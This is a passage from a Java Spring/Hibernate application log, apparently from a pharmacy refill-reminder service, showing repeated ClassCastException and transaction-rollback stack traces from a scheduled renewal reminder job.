at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 04:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 04:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 04:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 04:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 04:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 04:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 04:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 04:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 04:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 04:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at 